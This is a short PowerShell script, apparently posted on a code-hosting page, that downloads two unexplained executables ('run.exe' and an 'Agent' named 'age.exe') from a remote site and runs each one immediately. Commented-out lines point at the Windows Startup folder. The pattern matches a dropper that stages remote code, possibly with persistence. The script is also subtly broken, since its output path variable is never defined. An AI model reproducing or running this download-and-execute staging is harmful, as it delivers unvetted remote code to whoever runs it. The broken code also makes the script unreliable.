HTMLify
dist.ps1
Views: 11 | Author: dddd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | # Examine Write-Host "Seting up run.exe" # ==== VARIABLES ==== $url = "https://htmlify.me/dddd/run.exe" # ==== GET STARTUP PATH ==== # $startupPath = [Environment]::GetFolderPath("Startup") # $startupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" # Get the current directory $folderPath = $PWD.Path # ==== FILE NAME FROM URL ==== $fileName = Split-Path $url -Leaf $filePath = Join-Path $startupPath $fileName Write-Host "Downloading run.exe" # ==== DOWNLOAD FILE ==== Invoke-WebRequest $url -OutFile $filePath Write-Host "Executing run.exe" Start-Process $filePath Write-Host "Done run.exe" # Agent Write-Host "Seting up age.exe" # ==== VARIABLES ==== $url = "https://htmlify.me/dddd/age.exe" # ==== GET STARTUP PATH ==== # $startupPath = [Environment]::GetFolderPath("Startup") # $startupPath = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" # Get the current directory $folderPath = $PWD.Path # ==== FILE NAME FROM URL ==== $fileName = Split-Path $url -Leaf $filePath = Join-Path $startupPath $fileName Write-Host "Downloading age.exe" # ==== DOWNLOAD FILE ==== Invoke-WebRequest $url -OutFile $filePath Write-Host "Executing age.exe" Start-Process $filePath Write-Host "Done age.exe" |